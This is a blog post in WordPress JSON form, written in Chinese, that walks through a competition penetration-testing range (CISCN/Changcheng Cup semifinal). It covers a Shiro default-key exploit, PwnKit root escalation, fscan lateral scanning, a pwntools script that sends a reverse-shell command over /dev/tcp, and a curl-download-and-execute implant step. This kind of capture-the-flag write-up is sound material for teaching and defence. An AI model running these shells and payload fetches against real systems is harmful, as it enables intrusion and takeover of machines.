{"id":1211,"date":"2026-03-25T22:53:30","date_gmt":"2026-03-25T14:53:30","guid":{"rendered":"https:\/\/www.s1mh0.cn\/blog\/?p=1211"},"modified":"2026-03-27T16:21:13","modified_gmt":"2026-03-27T08:21:13","slug":"2026ciscn","status":"publish","type":"post","link":"https:\/\/www.s1mh0.cn\/blog\/index.php\/2026\/03\/25\/2026ciscn\/","title":{"rendered":"\u7b2c\u5341\u4e5d\u5c4aciscn&\u957f\u57ce\u676f\u534a\u51b3\u8d5b isw\u90e8\u5206wp"},"content":{"rendered":"

\u96be\u5f97\u7ebf\u4e0b\u8d5b\u6e17\u900f\u6ca1\u5361\u5728\u5165\u53e3<\/p>\n

flag1<\/h2>\n

shiro<\/h3>\n

\u7ecf\u5178shiro\u9ed8\u8ba4key\uff0c\u6ca1\u4ec0\u4e48\u597d\u8bf4\u7684<\/p>\n

\"2026ciscn_1\"<\/p>\n

\"2026ciscn_2\"<\/p>\n

flag2<\/h2>\n

PwnKit \u63d0\u6743<\/h3>\n

vshell\u4e0a\u7ebf\uff0ctomcat\u7528\u6237\uff0c\u4f30\u8ba1\u8981\u63d0\u6743\uff0c\u770bsuid\u6743\u9650\u6587\u4ef6<\/p>\n

\"2026ciscn_3\"<\/p>\n

\u6709pkexec\uff0c\u5c1d\u8bd5\u6253CVE-2021-4034 (PwnKit) \uff0c\u63d0\u6743\u5230root\u4e4b\u540e\u62ff\u5230\u7b2c\u4e8c\u4e2aflag<\/p>\n

\"2026ciscn_4\"<\/p>\n

flag3<\/h2>\n

\u5168\u5c40\u641c\u4e86\u4e00\u904dflag\u6ca1\u5176\u4ed6\u4e1c\u897f\uff0c\u53d1\u73b0\u53cc\u7f51\u5361<\/p>\n

eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500\n        inet 10.11.162.21  netmask 255.255.255.240  broadcast 10.11.162.31\n        inet6 fe80::c6a1:86ab:6487:d6d7  prefixlen 64  scopeid 0x20<link>\n        ether fa:7e:80:1e:31:00  txqueuelen 1000  (Ethernet)\n        RX packets 21053  bytes 11757366 (11.2 MiB)\n        RX errors 0  dropped 0  overruns 0  frame 0\n        TX packets 18384  bytes 2876325 (2.7 MiB)\n        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0\n\neth1: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500\n        inet 192.168.45.50  netmask 255.255.255.0  broadcast 192.168.45.255\n        inet6 fe80::f8a9:42ff:fef8:c001  prefixlen 64  scopeid 0x20<link>\n        ether fa:a9:42:f8:c0:01  txqueuelen 1000  (Ethernet)\n        RX packets 727  bytes 37222 (36.3 KiB)\n        RX errors 0  dropped 0  overruns 0  frame 0\n        TX packets 10  bytes 712 (712.0 B)\n        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0\n\nlo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536\n        inet 127.0.0.1  netmask 255.0.0.0\n        inet6 ::1  prefixlen 128  scopeid 0x10<host>\n        loop  txqueuelen 1000  (Local Loopback)\n        RX packets 0  bytes 0 (0.0 B)\n        RX errors 0  dropped 0  overruns 0  frame 0\n        TX packets 0  bytes 0 (0.0 B)\n        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0<\/code><\/pre>\n
\u4f20fscan\u6a2a\u5411<\/p>\n
start infoscan\ntrying RunIcmp2\nThe current user permissions unable to send icmp packets\nstart ping\n(icmp) Target 192.168.45.2    is alive\n(icmp) Target 192.168.45.50   is alive\n(icmp) Target 192.168.45.100  is alive\n[*] Icmp alive hosts len is: 3\n192.168.45.50:8080 open\n192.168.45.100:445 open\n192.168.45.100:139 open\n192.168.45.100:135 open\n192.168.45.100:22 open\n192.168.45.50:22 open\n192.168.45.100:88 open\n[*] alive ports len is: 7\nstart vulscan\n[*] WebTitle http:\/\/192.168.45.50:8080 code:200 len:794    title:hello world\n[+] PocScan http:\/\/192.168.45.50:8080\/ poc-yaml-shiro-key [{key kPH+bIxk5D2deZiIxcaaaA==} {mode cbc}]\u200d<\/code><\/pre>\n
\u65b0\u4e3b\u673a192.168.45.100<\/code>\uff0c\u626b\u4e00\u904d\u5168\u7aef\u53e3<\/p>\n
start infoscan\n192.168.45.100:111 open\n192.168.45.100:88 open\n192.168.45.100:53 open\n192.168.45.100:22 open\n192.168.45.100:139 open\n192.168.45.100:135 open\n192.168.45.100:464 open\n192.168.45.100:445 open\n192.168.45.100:389 open\n192.168.45.100:636 open\n192.168.45.100:2049 open\n192.168.45.100:3269 open\n192.168.45.100:3268 open\n192.168.45.100:12345 open\n192.168.45.100:20048 open\n192.168.45.100:36413 open\n192.168.45.100:44410 open\n192.168.45.100:49154 open\n192.168.45.100:49153 open\n192.168.45.100:49152 open\n[*] alive ports len is: 20<\/code><\/pre>\n
agent\u5206\u6790<\/h3>\n
\u200d\u6ca1\u6709web\u670d\u52a1\uff0c\u53c8\u8fd4\u56de\u5230\u7b2c\u4e00\u53f0\u673a\u770b\/root\/agent<\/code>\u6587\u4ef6<\/p>\n
\u5173\u6ce8\u5230\u7ed1\u5b9a\u4e8612345\u7aef\u53e3\uff0c\u800c\u65b0\u4e3b\u673a\u4e5f\u5f00\u4e8612345\u7aef\u53e3\uff0c\u5e94\u8be5\u542f\u4e86\u8be5agent\u670d\u52a1\uff0c\u4ea4\u7ed9pwn\u961f\u53cb<\/p>\n
\"2026ciscn_5\"<\/p>\n
\u4e3b\u5904\u7406\u51fd\u6570\u4e2d\u6709\u4e00\u4e2aAgent\u7c7b\u548c\u4e09\u4e2a\u6210\u5458\u51fd\u6570\u9700\u8981\u5173\u6ce8<\/p>\n
\"2026ciscn_6\"<\/p>\n
\"2026ciscn_7\"<\/p>\n
\"2026ciscn_8\"<\/p>\n
\u5728authtoken\u8ba4\u8bc1\u6b63\u786e\u4e4b\u540e\u4f1a\u5faa\u73af\u63a5\u6536\u547d\u4ee4\uff0c\u540e\u9762\u5728excute\u91cc\u9762\u4f1a\u4f7f\u7528popen\u6267\u884c\u3002\u8fd9\u91cc\u5faa\u73af\u63a5\u6536\u547d\u4ee4\uff0c\u76f4\u5230\u5173\u95ed\u8fde\u63a5\u3002<\/p>\n
\u672c\u5730\u9a8c\u8bc1\u53ef\u4ee5\u63a5\u6536\u5230popen\u6267\u884c\u7ed3\u679c\u56de\u663e\uff0c\u4f46\u662f\u5728\u8fdc\u7a0b\u4e0d\u884c\uff08\u7ecf\u5178\u672c\u5730\u901a\u8fdc\u7a0b\u4e0d\u901a\uff0c\u95ee\u88c1\u5224\u8bf4\u53ef\u80fd\u662f\u9776\u673a\u73af\u5883\u4e0d\u4e00\u6837\uff0c\u4e0d\u662f\u9884\u671f\u6253\u6cd5\uff09<\/p>\n
\"2026ciscn_9\"<\/p>\n
\u5c1d\u8bd5\u5199payload\u5f39shell\uff0c\u7b2c\u4e00\u53f0\u673a\u4f20\u4e2anc\u76d1\u542c\uff0c\u7136\u540esh\u5f39\u6210\u529f\u5f39\u5230\uff08\u8fd9\u91cc\u8bd5\u4e86\u597d\u4e45\uff0cbash\u597d\u50cf\u4e0d\u884c\uff09\uff0c\u62ff\u5230\u7b2c\u4e09\u4e2aflag<\/p>\n
from pwn import *\nimport time\ncontext.log_level = 'debug'\n#r = remote("127.0.0.1", 12345)\nr = remote("192.168.45.100", 12345)\nr.send(b"RCE_AUTH_2026\\x00")\ntime.sleep(2)\nr.send_raw(b"sh -i >& \/dev\/tcp\/192.168.45.50\/7788 0>&1")\nr.shutdown('send')\nr.recvall()<\/code><\/pre>\n
\"2026ciscn_10\"<\/p>\n
flag\u200d4<\/h2>\n
\u56e0\u4e3a\u5728\u53cd\u5f39shell\u6267\u884cip -a<\/code>, hostname -I<\/code>\u90a3\u4e9b\u6ca1\u53cd\u5e94\uff0c\u5c1d\u8bd5vshell\u4e0a\u7ebf\u7b2c\u4e8c\u53f0\u673a\uff0c\u770b\u4e86\u4e0b\u53ea\u6709curl\u547d\u4ee4\uff0c\u7b2c\u4e00\u53f0\u673a\u770b\/usr\/bin<\/code>\u6709python2\uff0c\u5148\u5728\u7b2c\u4e00\u53f0\u673a\u7528python2\u542f\u4e2aweb\uff0c\u7136\u540e\u5728\u53cd\u5f39shell\u90a3\u91cc\u7528curl\u4e0b\u4e00\u4e2a\u6b63\u5411\u9a6c\u5e76\u6267\u884c<\/p>\n
[root@www test]# python -m SimpleHTTPServer 1234\nServing HTTP on 0.0.0.0 port 1234 ...\n192.168.45.50 - - [22\/Mar\/2026 16:24:22] "GET \/ HTTP\/1.1" 200 -\n192.168.45.50 - - [22\/Mar\/2026 16:24:22] "GET \/favicon.ico HTTP\/1.1" 404 -\n10.11.123.230 - - [22\/Mar\/2026 16:25:16] "GET \/123.txt HTTP\/1.1" 200 -\n192.168.45.50 - - [22\/Mar\/2026 16:27:47] "GET \/t1234 HTTP\/1.1" 200 -\n192.168.45.100 - - [22\/Mar\/2026 16:27:56] "GET \/t1234 HTTP\/1.1" 200 -<\/code><\/pre>\n
curl http:\/\/192.168.45.50:1234\/t1234 -o \/tmp\/t1234\n  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current\n                                 Dload  Upload   Total   Spent    Left  Speed\n100 2809k  100 2809k    0     0   366M      0 --:--:-- --:--:-- --:--:--  392M\nls \/tmp\nsystemd-private-86887d64dfe1401893bb549a850e6168-chronyd.service-jUFv5a t1234\nchmod +x \/tmp\/t1234\n\/tmp\/t1234<\/code><\/pre>\n
\u63a5\u7740\u901a\u8fc7\u7b2c\u4e00\u53f0\u7684\u4ee3\u7406\u6b63\u5411\u4e0a\u7ebf<\/p>\n
\"2026ciscn_11\"<\/p>\n
\u4f9d\u65e7\u53cc\u7f51\u5361<\/p>\n
[root@localhost \/]# ifconfig\ndocker0: flags=4099<UP,BROADCAST,MULTICAST>  mtu 1500\n        inet 172.17.0.1  netmask 255.255.0.0  broadcast 172.17.255.255\n        ether 02:42:cb:46:65:a6  txqueuelen 0  (Ethernet)\n        RX packets 0  bytes 0 (0.0 B)\n        RX errors 0  dropped 0  overruns 0  frame 0\n        TX packets 0  bytes 0 (0.0 B)\n        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0\n\neth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500\n        inet 192.168.45.100  netmask 255.255.255.0  broadcast 192.168.45.255\n        inet6 fe80::f86e:c5ff:fe3b:c100  prefixlen 64  scopeid 0x20<link>\n        ether fa:6e:c5:3b:c1:00  txqueuelen 1000  (Ethernet)\n        RX packets 115015  bytes 10021713 (9.5 MiB)\n        RX errors 0  dropped 0  overruns 0  frame 0\n        TX packets 69589  bytes 3947063 (3.7 MiB)\n        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0\n\neth1: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500\n        inet 192.168.77.100  netmask 255.255.255.0  broadcast 192.168.77.255\n        inet6 fe80::f8c2:c7ff:fe0b:7401  prefixlen 64  scopeid 0x20<link>\n        ether fa:c2:c7:0b:74:01  txqueuelen 1000  (Ethernet)\n        RX packets 122766  bytes 8396276 (8.0 MiB)\n        RX errors 0  dropped 0  overruns 0  frame 0\n        TX packets 198  bytes 20284 (19.8 KiB)\n        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0\n\nlo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536\n        inet 127.0.0.1  netmask 255.0.0.0\n        inet6 ::1  prefixlen 128  scopeid 0x10<host>\n        loop  txqueuelen 1000  (Local Loopback)\n        RX packets 129317  bytes 10143136 (9.6 MiB)\n        RX errors 0  dropped 0  overruns 0  frame 0\n        TX packets 129317  bytes 10143136 (9.6 MiB)\n        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0<\/code><\/pre>\n
fscan\u53d1\u73b0\u65b0\u4e3b\u673a192.168.77.45<\/code><\/p>\n
[root@localhost tmp]# .\/fscan -h 192.168.77.1\/24 -np\n\n   ___                              _    \n  \/ _ \\     ___  ___ _ __ __ _  ___| | __ \n \/ \/_\\\/____\/ __|\/ __| '__\/ _` |\/ __| |\/ \/\n\/ \/_\\\\_____\\__ \\ (__| | | (_| | (__|   <    \n\\____\/     |___\/\\___|_|  \\__,_|\\___|_|\\_\\   \n                     fscan version: 1.8.4\nstart infoscan\n192.168.77.100:22 open\n192.168.77.45:80 open\n192.168.77.100:135 open\n192.168.77.100:139 open\n192.168.77.100:445 open\n192.168.77.100:88 open\n192.168.77.45:8888 open<\/code><\/pre>\n
\u200d\u5b58\u572880\u8ddf8888\u4e24\u4e2aweb\u670d\u52a1<\/p>\n
80\u7aef\u53e3\u53ef\u4ee5\u4e0b\u8f7d\u4e00\u4e2aport_ban.exe<\/code>\uff0c\u4e22\u7ed9pwn\u961f\u53cb\u8bf4\u662f\u53ef\u4ee5\u770b\u5230\u4e00\u4e2a\u9632\u706b\u5899\u7ba1\u7406\u7cfb\u7edf\uff0c\u6b63\u597d\u5bf9\u5e948888\u7aef\u53e3<\/p>\n
\"2026ciscn_12\"<\/p>\n
\u53ef\u4ee5nc\u8bbf\u95ee\u7136\u540e\u8f93\u5165authentication key\uff0c\u4f46\u662f\u76ee\u524d\u4e0d\u77e5\u9053<\/p>\n
dirsearch\u626b80\u7aef\u53e3\u53ef\u4ee5\u5f97\u5230\u4e00\u4e2a\/download.php <\/code><\/p>\n
\u200d\"2026ciscn_15\"<\/p>\n
\u53bb\u5e74ccb\u51b3\u8d5b\u6e17\u900f\u65e2\u89c6\u611f\uff0c\u8981\u731c\u53c2\u6570\uff0c\u7136\u540e\u62c9\u4e0a\u961f\u53cb\u75af\u72c2\u731c\uff0c\u5230\u6700\u540e\u4e5f\u6ca1\u731c\u51fa\u6765\uff08\u65f6\u95f4\u7d27\u5fd8\u4e86\u7528wfuzz\uff0c\u6de6\uff09\u9057\u61be\u4e0b\u673a\uff0c\u5982\u679c\u731c\u51fa\u6765\u5e94\u8be5\u80fd\u4e0b\u6e90\u7801\u5ba1\u8ba1\uff0c\u62ff\u6839\u76ee\u5f55flag\u6216\u8005authentication key<\/p>\n
curl -X POST -d "a=1" http:\/\/192.168.77.45\/download.php<\/code><\/pre>\n
\n
NFS\u670d\u52a1<\/h3>\n
\u8d5b\u540e\u95ee\u4e86\u4e0b\u5176\u4ed6\u5e08\u5085\uff0c\u8bf4\u7b2c\u4e8c\u53f0\u673a\u53ef\u4ee5\u62532049\u7aef\u53e3\u7684NFS\uff0c\u80fd\u591f\u76f4\u63a5\u62ff\u5230\u7b2c\u56db\u4e2aflag\u548cagent\u4ea4\u4e92\u5de5\u5177\uff0c\u8d81\u7740\u8d5b\u540e\u73af\u5883\u8fd8\u6ca1\u5173\u770b\u4e86\u4e0b\u8fd8\u771f\u662f\u200d<\/p>\n
\u5173\u952e\u7684\u662f\u5df2\u7ecf\u62ff\u4e0b\u4e86\u7b2c\u4e8c\u53f0\u673a\uff0c\u800c\u4e14\u7b2c\u4e00\u53f0\u673a\u8bb0\u5f97\u5168\u5c40\u627eflag\uff0c\u7b2c\u4e8c\u53f0\u673a\u5c31\u5fd8\u4e86\uff0c\u800c\u4e14\u5c31\u5728\/nfsdir<\/code>\uff0c\u6c14\u6c14\u6c14\u6c14\u6c14\u6c14\u6c14\u6c14\u6c14\u6c14\u6c14\u6c14\u6c14\u6c14\u6c14<\/p>\n
\"2026ciscn_13\"<\/p>\n
\"2026ciscn_14\"<\/p>\n
<\/div>","protected":false},"excerpt":{"rendered":"
\u96be\u5f97\u7ebf\u4e0b\u8d5b\u6e17\u900f\u6ca1\u5361\u5728\u5165\u53e3 flag1 shiro \u7ecf\u5178shiro\u9ed8\u8ba4key\uff0c\u6ca1\u4ec0\u4e48\u597d\u8bf4\u7684 flag2 PwnK […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[6,7],"tags":[],"class_list":["post-1211","post","type-post","status-publish","format-standard","hentry","category-wp","category-pentesting"],"views":272,"_links":{"self":[{"href":"https:\/\/www.s1mh0.cn\/blog\/index.php\/wp-json\/wp\/v2\/posts\/1211","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.s1mh0.cn\/blog\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.s1mh0.cn\/blog\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.s1mh0.cn\/blog\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.s1mh0.cn\/blog\/index.php\/wp-json\/wp\/v2\/comments?post=1211"}],"version-history":[{"count":3,"href":"https:\/\/www.s1mh0.cn\/blog\/index.php\/wp-json\/wp\/v2\/posts\/1211\/revisions"}],"predecessor-version":[{"id":1214,"href":"https:\/\/www.s1mh0.cn\/blog\/index.php\/wp-json\/wp\/v2\/posts\/1211\/revisions\/1214"}],"wp:attachment":[{"href":"https:\/\/www.s1mh0.cn\/blog\/index.php\/wp-json\/wp\/v2\/media?parent=1211"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.s1mh0.cn\/blog\/index.php\/wp-json\/wp\/v2\/categories?post=1211"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.s1mh0.cn\/blog\/index.php\/wp-json\/wp\/v2\/tags?post=1211"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}